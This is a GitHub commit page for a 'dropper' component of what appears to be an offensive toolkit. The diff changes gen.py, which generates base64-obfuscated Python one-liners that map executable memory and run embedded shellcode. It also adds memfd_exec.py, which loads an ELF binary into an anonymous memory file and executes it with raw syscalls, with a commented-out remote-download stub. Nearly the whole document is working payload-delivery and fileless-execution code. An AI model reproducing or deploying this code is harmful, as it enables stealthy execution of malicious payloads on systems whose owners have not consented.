Skip to content

Commit

Permalink
dropper: memfd_exec in python
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 25, 2021
1 parent 50fa789 commit 6225716
Show file tree
Hide file tree
Showing 2 changed files with 34 additions and 10 deletions.
12 changes: 2 additions & 10 deletions dropper/gen.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,46 +22,38 @@
sys.exit(1)

template = f'''
#!/usr/bin/python2
import ctypes
import sys
from ctypes.util import find_library
PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
MAP_PRIVATE = 0X02
MAP_ANONYMOUS = 0X20
ENOMEM = -1
SHELLCODE = "{shellcode}"
libc = ctypes.CDLL(find_library('c'))
mmap = libc.mmap
mmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t,
ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_size_t]
mmap.restype = ctypes.c_void_p
page_size = ctypes.pythonapi.getpagesize()
sc_size = len(SHELLCODE)
mem_size = page_size * (1 + sc_size/page_size)
cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE |
PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0)
if cptr == ENOMEM:
sys.exit("mmap")
if sc_size <= mem_size:
ctypes.memmove(cptr, SHELLCODE, sc_size)
sc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
call_sc = ctypes.cast(cptr, sc)
call_sc(None)
'''

# download_exec_template = f'''import urllib2;u=urllib2.urlopen('{url}');print(u.read());'''

payload = base64.b64encode(template.encode("utf-8"))
print(f'''echo "exec('{payload.decode('utf-8')}'.decode('base64'))"|python''')

Expand Down
32 changes: 32 additions & 0 deletions dropper/memfd_exec.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
import ctypes
from ctypes.util import find_library

import urllib2

# u = urllib2.urlopen('')
# d = u.read()

elf = open("/usr/bin/sleep").read()
count = len(elf)

# memfd_create
syscall = ctypes.CDLL(None).syscall
syscall.restype = ctypes.c_int
syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.c_uint]
fd = syscall(319, '', 0)

# write
syscall.restype = ctypes.c_ssize_t
syscall.argtypes = [ctypes.c_long, ctypes.c_int,
ctypes.c_void_p, ctypes.c_size_t]
res = syscall(1, fd, elf, count)

# execve
syscall.restype = ctypes.c_int
syscall.argtypes = [ctypes.c_long, ctypes.c_char_p, ctypes.POINTER(
ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
str_arr = ctypes.c_char_p * 2
argv = str_arr()
argv[0] = "sleep"
argv[1] = "120"
res = syscall(59, "/proc/self/fd/"+str(fd), argv, None)

0 comments on commit 6225716

Please sign in to comment.